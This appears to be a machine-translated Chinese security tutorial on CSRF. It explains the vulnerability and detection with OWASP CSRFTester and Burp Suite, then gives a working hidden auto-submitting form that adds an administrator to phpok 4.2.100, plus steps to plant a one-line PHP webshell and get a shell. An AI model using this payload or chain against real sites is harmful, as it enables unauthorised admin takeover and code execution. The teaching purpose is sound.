当前位置:网站首页>DAY17, CSRF vulnerability
DAY17, CSRF vulnerability
2022-07-30 04:30:00 【EdmunDJK】
DAY17、CSRF 漏洞
1、CSRF 漏洞简介
CSRF 的全称是Cross-site request forgery,即跨站请求伪造:
The attacker sends forged network requests to the attacked site in the identity of the attacker without the victim's knowledge,从而在未授权的情况下执行在权限保护之下的操作,具有很大的危害性.
具体来讲,可以这样理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等.
2、CSRF Vulnerability causes and principles
在进行操作时,The program did not verify the source and user of the operation request.

3、CSRF Vulnerability Jane and XSS 漏洞的区别
CSRF漏洞:
攻击者发现CSRF漏洞——构造代码——发送给受害人——受害人打开——受害人执行代码——完成攻击
XSS漏洞:
攻击者发现XSS漏洞——构造代码——发送给受害人——受害人打开——攻击者获取受害人的cookie——完成攻击.
XSS容易发现,Because the attacker needs to log in to the background to complete the attack.Administrators can look at logs to find attackers;
CSRF则不同,他的 Attacks have always been implemented by administrators themselves,The attacker is only responsible for constructing the code.
4、CSRF Vulnerability detection and exploitation
(1)(服务器对客户端的信任)用户已获取服务器认证,登录网站, 并在本地生成cookie(已进行网页认证)
(2)攻击者(或黑客)提供的恶意链接,Victims must Do not log out of vulnerable websites,同时使用同一个 浏览器打开(可通过社工的方法)
(3)网站除了验证Cookie,没有特殊验证方法
4.1、第一种方法:
使用 OWASP CSRFTester 工具进行检测.它是OWASP推出的CSRF半自动化软件,He left it outCSRF最繁琐的过程-------代码构造. 使用代理抓取我们在浏览器中访问过的所有的连接及表单等信息, 修改相应的表单等信息,重新提交,如果测试请求成功被网站服务器接受,则说明存在CSRF漏洞.

4.2、第二种方法:
使用 burpsuite 对 CSRF 漏洞进行检测. 首先抓取认为可能存在CSRFVulnerable request packet,然后查看是否存在 token 或 referer 验证. 如果不存在验证则可能存在 CSRF 漏洞 , 此时可使用 burpsuite 的 Engagement tools 去生成 CSRF 漏洞的 PoC ,去验证 CSRF 漏洞.

5、CSRF漏洞实例
phpok4.2.100CSRFAdd any administrator account:
一、Construct a form to add system administrators
<div style="display:none">
<form action="http://1xx.xxx.xxx.xx8:8081/admin.php?c=admin&f=save" id="poc" name="poc" method="post">
<input type="hidden" name="id" value=""/>
<input type="hidden" name="account" value=""/>
<input type="hidden" name="pass" value=""/>
<input typ e="hidden" name="email" value=""/>
<input type="hidden" name="status" value=""/>
<input type="hidden" name="if_system" value=""/>
<input type="submit" name="up" value="submit"/>
</form>
<script> var t = document.poc; t.account.value="666666"; t.pass.value="123456"; t.status.value="1"; t.if_system.value="1"; document.poc.submit(); </script>
</div>
二、Administrators visit this page
Log in with the administrator account,Visit this form.
At this point, you can successfully create an administrator user

三、Find the style management in the background management>>文件管理,Select Create Template File,写 Fill in the name when enteringxxx.html,抓包修改后缀名为php,如下图所示:

四、在文件管理中,选择一个文件,进行编辑,然后改名字.
(1)例如,如下图的 book_list.html
(2)编辑,Add a sentence Trojan horse in it
(3)提交,然后改名字.

五、访问.
(1)From the prompt at the bottom of the page,Paths can be guessed.
(2)访问页面
(3)蚁剑连接 getshell
边栏推荐
- Roperties class configuration file & DOS to view the host network situation
- Eureka Registry
- The first immersive and high-fidelity metaverse in China, Xiyuan Universe is officially launched
- Is the end of the universe a bank?Talk about those things about doing software testing in the bank
- cnpm安装步骤
- @ WebServlet annotations (Servlet annotations)
- Thinkphp 5.0.24变量覆盖漏洞导致RCE分析
- RRU, BBU, AAU
- 2.5快速排序
- Charles replaces the interface response information
猜你喜欢

Reverse Analysis Practice 2

sql statement - how to query data in another table based on the data in one table

Why is the Kirin 9000 5G version suddenly back in stock?
![Reverse Theory Knowledge 3 [UI Modification]](/img/f3/33db96f3dd149658859be58041ab43.png)
Reverse Theory Knowledge 3 [UI Modification]

A brief introduction to the SSM framework

网页元素解析a标签

handler+message【消息机制】

MySQL 操作语句大全(详细)

【软件工程之美 - 专栏笔记】31 | 软件测试要为产品质量负责吗?

Shell script basic editing specifications and variables
随机推荐
cv2.polylines
Pytorch框架学习记录3——Transform的使用
1. 获取数据-requests.get()
My first experience of Go+ language——Blessing message system, so that she can also feel your blessings
MYSQL 唯一约束
Pytorch framework learning record 4 - the use of datasets (torchvision.dataset)
数据目录是什么?为何需要它?
2.6基数排序(桶排序)
[MRCTF2020]Hello_ misc
[Awards every week] The "Edge Containers" track of the Cloud Native Programming Challenge invites you to fight!
labelme的使用技巧
WEB 渗透之信息收集
The difference between forward and redirect
How does the Snapdragon 7 series chip perform?Reno8 Pro proves a new generation of God U
Taobao H5 interface to obtain app data 6.0 format
MySQL operation statement Daquan (detailed)
2.6归并排序
The leap second that may cause the next "Millennium Bug" is boycotted by tech giants
【 notes 】 the beauty of the software engineering - column 31 | software testing are responsible for the quality of products?
SQLSERVER merges subquery data into one field